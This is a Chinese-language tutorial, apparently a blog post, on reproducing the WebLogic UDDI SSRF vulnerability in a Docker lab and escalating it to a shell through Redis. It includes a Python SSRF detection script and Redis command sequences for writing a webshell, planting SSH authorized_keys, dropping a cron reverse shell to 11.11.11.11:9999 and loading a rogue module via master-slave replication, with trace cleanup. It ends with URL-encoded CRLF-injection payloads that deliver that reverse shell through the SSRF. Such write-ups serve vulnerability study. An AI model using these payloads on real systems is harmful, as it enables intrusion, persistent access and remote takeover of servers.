weblogic从ssrf到redis获取shell
前言
一、环境搭建和知识储备
1.1、影响版本
weblogic 10.0.2.0
weblogic 10.3.6.0
1.2、Docker搭建环境
1.进入vulhub/fastjson,启动docker即可
cd /root/vulhub/weblogic/ssrf
docker-compose up -d
2.查看启动的docker进程
docker ps
二、漏洞复现
2.1、weblogic的SSRF漏洞
1.漏洞存在于weblogic目录下的/uddiexplorer/SearchPublicRegistries.jsp文件。当我们访问这个文件,就会获得对应应用的页面
2.漏洞点在于该文件的一个参数operator,我们通过如下的url去访问
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
服务器返回
returned a 404 error code
然后我们访问一个不存在的端口,比如9562
它就会返回
but could not connect over HTTP to server
在这之后,我们通过该参数访问一个内网存在的redis服务
它返回的信息为
which did not have a valid SOAP
通过以上请求和回显我们知道,针对不同地址和端口的探测,服务端存在着不同的回显,尤其是针对本机存在端口和不存在端口,展现出了两种形式。针对内网其他主机存在的服务,服务端也给出了有意义的回显,那么此处可证其存在ssrf漏洞。
2.2、weblogic的SSRF回显类型
我们已经知道,weblogic存在着SSRF。那么如何利用这个SSRF判断内网的存活ip和端口呢,这就需要我们通过不同的返回情况进行判断,从而决定该端口或ip是否存活,在这之前,我们需要了解这个ssrf返回值的情况。
1)存活ip:http://127.0.0.1:7001
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
不存活ip:探测由于tcp的等待,会有一定延时
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '192.168.25.1', port: '7001'
2)探测存活端口和不存活端口,使用可使用的协议和ip
存活端口:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
不存活端口:
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'
3)探测可用协议和不可用协议,使用可使用的ip和端口
可用协议:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
不可用协议:
weblogic.uddi.client.structures.exception.XML_SoapException: unknown protocol: ssr
可用协议但协议和端口不匹配:
java.lang.ClassCastException: sun.net.www.protocol.ftp.FtpURLConnection cannot be cast to java.net.HttpURLConnection
不写协议:
weblogic.uddi.client.structures.exception.XML_SoapException: no protocol: 192.168.0.1
从上面不同的返回值可以看出,不存活ip和不存活端口两者的返回值相同,那么我们很难用简单的方式去探测内网存活主机和端口。只能考虑最暴力的方式,就是用http://ip:port的形式去爆破尝试,直到返回值区别于这二者不存活的形式,假如我们扫描1000个常用端口和一个c段ip,就是需要254*1000次请求,这样在内网大流量的扫描是很难实现的,只能在无可奈何或者有其他辅助的情况下进行。
因此这一部分针对内网存活ip和端口的探测暂且如此,如果有不同的思路欢迎探讨。
2.3、weblogic-SSRF漏洞判断POC
1)、poc的构造思路很简单,我们只需要针对目标机的端口发起不同的请求,根据返回值判断与上述返回值是否相同,即可判断出是否存在ssrf。流程如下:
2)、poc:
import re,requests
import threading,random
from optparse import OptionParser
class Test(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def visit(self,weblogic_domain,weblogic_port):
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36"}
payload = "/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:{weblogic_port}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(weblogic_port=weblogic_port)
url = weblogic_domain.rstrip("/") + payload
try:
print(url)
visitResult = requests.get(url=url,verify=False,headers=headers,timeout=5).text
return visitResult
except:
exit("we can't visit your domain")
pass
def check(self,weblogic_domain,weblogic_port):
temp = 0
print("[+]Checking the open port "+weblogic_port)
portOpenResult = re.findall(r"returned a 404 error code", self.visit(weblogic_domain,weblogic_port), re.DOTALL)
if portOpenResult:
temp = 1
print("[+]Checking the open port finished")
#随机3个端口
notOpenPort = [str(int(weblogic_port)+random.randint(10000,20000)),str(int(weblogic_port)+random.randint(10000,20000)),str(int(weblogic_port)+random.randint(10000,20000))]
for line in notOpenPort:
print("[+]Checking the not open port " + line)
portOpenResult = re.findall(r"but could not connect over HTTP to server|returned a 404 error code", self.visit(weblogic_domain,line), re.DOTALL)
print(portOpenResult)
if portOpenResult:
temp = 1
else:
temp = 0
print("[+]Checking the not open port finished")
#经过了两次检测,若是都完成,则认为存在ssrf漏洞
if temp == 1:
return weblogic_domain + " has ssrf"
else:
return weblogic_domain + " has not exist ssrf"
def ParseArgs():
parser = OptionParser("usage: python weblogic-ssrf.py -u http://test.com:9000")
parser.add_option("-u", dest="url", type="string",help="Specify the target url")
options,args = parser.parse_args()
if options.url ==None:
print(parser.usage)
exit(0)
return options,args
if __name__ == "__main__":
options, args = ParseArgs()
port = str(options.url).split(":")[-1].strip("/")
t = Test()
print(t.check(str(options.url),port))
3)、使用示例
D:\pycharm\pro1_spider\test>python37 test1.py -u http://192.168.52.130:7001
[+]Checking the open port 7001
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
[+]Checking the open port finished
[+]Checking the not open port 19598
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:19598&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port 19337
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:19337&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port 17810
http://192.168.52.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:17810&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
['but could not connect over HTTP to server']
[+]Checking the not open port finished
http://192.168.52.130:7001 has ssrf
三、漏洞利用
3.1、利用redis获取shell
3.1.1、redis写入webshell
1)、利用前提
这种方式写入shell的前提是redis服务器和web服务器在同一台主机,且上传的webshell能被解析。然而redis服务器和web服务器在同一台主机上的情况会比较少。
比如常见的就是php一句话和jsp的小马(等同于一句话),这二者的特点就是web容器即便解析不了其它的字符,也能解析其中的代码。比如xxxxaaaaa这个样子。
那么我需要提及的是jsp字符有点多,在写入时总会出现乱码,就没有做深入探究。
2)、写入webshell
连接redis数据库
redis-cli -h 172.21.0.2
查看数据库个数
config get databases
选择适合的数据库作为写入备份的那个,最好为空
select 1 \\选择
dbsize \\查看其中的数据数量
写入的payload
config set dir /var/www/html
config set dbfilename shell.php
save
最后就会在/var/www/html目录下看到shell.php,我这里由于没有这个目录,写在了其它目录,其它情况需要自行更改。
3.1.2、写入ssh免密登录
1)、利用条件
这个方法比较实用,仅需redis服务以root权限运行,且存在/root/.ssh/即可。一般很多服务由于配置麻烦的原因,管理员通常会选择root用户去配置,尤其是redis这种便捷式的。而/root/.ssh/目录只要存在ssh服务的机器就会有。
2)、攻击机生成公私钥
ssh-keygen -t rsa
没有指定目录的话生成在.ssh目录下
3)、写入公钥文件至redis数据库
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -p 6380 -x set x
-x是从stdin中读取数据,加上set 1是将数据放入redis的key,x
4)、redis数据库写入authorized_key至.ssh目录下
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
5)、直接用ssh登录即可
我们可以看到不存在authorized_keys时登录是这样的
写入authorized_keys后就直接登录
3.1.3、计划任务反弹shell
1)、利用条件
利用计划任务反弹shell在centos上可以完美执行,debian、ubuntu等环境中由于这些环境对计划任务的格式解析非常严格所以是没办法执行成功。
/etc/crontab,脏数据解析失败
/var/spool/cron/crontabs/root,redis默认写入644非600,提示失败
这里提供一个查看linux发行版的方法作为备用
ls /etc/*release
2)、反弹shell
原理是利用了redis的备份写入了计划任务
set x "\n*/1 * * * * bash -i >& /dev/tcp/11.11.11.11/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
要注意计划任务的写法,上述的写法是每隔1分钟就反弹一次,所以获取shell后要注意清除。
反弹回来的shell如图:
3.1.4、Redis主从复制getshell
1)、前言
这一部分需要的前置知识会相对复杂一点,由于主要还是weblogic漏洞的复现,就不再拓展了,我将别人的复现流程搬了过来。这个方式针对的是4.x-5.x版本的redis,获取的是redis权限。参照浅析Linux下Redis的攻击面(一)
2)、主从复制getshell
redis-rogue-server.py
[1]、外网vps+redis在外网环境下使用命令:
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088
[2]、redis内网,但可以反弹shell出来的环境下,服务端执行
python3 redis-rogue-server.py --server-only
登录redis执行如下命令
config set dir ./
config set dbfilename exp.so
slaveof X.X.X.195
slaveof X.X.X.195 21000 #上面看绑定的服务段端口是21000
module load ./exp.so
slaveof no one
system.exec 'whoami'
清理痕迹
config set dbfilename dump.rdb
system.exec 'rm ./exp.so'
module unload system
3.2、从ssrf到redis获取shell
3.2.1、weblogic-ssrf的CRLF注入
[1]、要利用这个ssrf获取shell,我们首先要了解weblogic对于\r\n的处理,weblogic中的ssrf可以通过%0d%0a来注入\r\n,这也是我们常说的CRLF攻击,我们可以测试一下。
首先准备如下的redis命令,也可以是其它
test
set 1 "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/11.11.11.11/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
HTTP/1.1
我们对其url编码,并且在需要换行的地方加入%0d%0a,payload如下
http://172.21.0.2:9999/test%0d%0a%0d%0aset+1+%22%5cn%5cn%5cn%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f11.11.11.11%2f9999+0%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig+set+dir+%2fetc%2f%0d%0aconfig+set+dbfilename+crontab%0d%0asave%0d%0a%0d%0aHTTP%2f%1%2e1
[2]、在weblogic的ssrf漏洞探测的内网服务redis服务器上利用nc监听一个9999端口测试,发送payload
[3]、在监听端口即可收到如下被注入的请求
可以看到,HTTP的header头被该改变了,原本属于header头的内容变成了发送的数据。那么只要redis服务能够将我们注入的redis命令获取并解析,就相当于利用了ssrf执行redis命令,再利用我们上文提到的计划任务即可getshell。
3.2.2、利用ssrf漏洞getshell
关于redis如何理解http协议,并能够处理其数据,这个需要理解redis的底层,此处不做探究,仅仅需要知道redis可以理解3.2.1中第3节的图片中的数据包类型并能够执行就足够了,我们利用这一点getshell。
payload,这个payload是operator的参数
http://172.21.0.2:6379/test%0d%0a%0d%0aset+x+%22%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f11.11.11.11%2f9999+0%3e%261%5cn%22%0d%0aconfig+set+dir+%2fvar%2fspool%2fcron%2f%0d%0aconfig+set+dbfilename+root%0d%0asave%0d%0a%0d%0aHTTP%2f1%2e1
发送数据包如图
结果如图
参考:
https://xz.aliyun.com/t/7974#toc-1